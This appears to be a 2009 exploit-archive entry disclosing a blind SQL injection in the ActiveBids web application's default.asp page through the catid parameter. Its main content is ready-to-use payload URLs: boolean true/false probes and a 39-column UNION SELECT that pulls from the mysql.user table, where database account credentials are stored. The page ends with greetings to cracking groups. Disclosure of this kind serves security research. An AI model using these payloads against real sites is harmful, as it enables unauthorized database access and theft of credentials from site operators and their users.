ActiveBids (default.asp) Blind SQL Injection Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : ActiveBids (default.asp) Blind SQL Injection Vulnerability
# Published : 2009-11-17
# Author : Hussin X
# Previous Title : ActiveTrade 2.0 (default.asp) Blind SQL Injection Vulnerability
# Next Title : Dow Group (new.php) SQL Injection

ActiveBids (default.asp) Blind SQL Injection Vulnerability
____________________________________

Author : Hussin X

Home : www.IQ-TY.com

email : hussin.x@gmail.com
____________________________________

Vendor : http://www.activewebsoftwares.com
Demo :
_______

http://server/default.asp?catid=39+and+1=1 ( true )

http://server/default.asp?catid=39+and+1=0 ( false )

:: test ::

http://server/default.asp?catid=39+UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+from+mysql.user

Greetz :
WwW.IQ-ty.CoM

| CraCkEr | Cyber-Zone | str0ke | jiko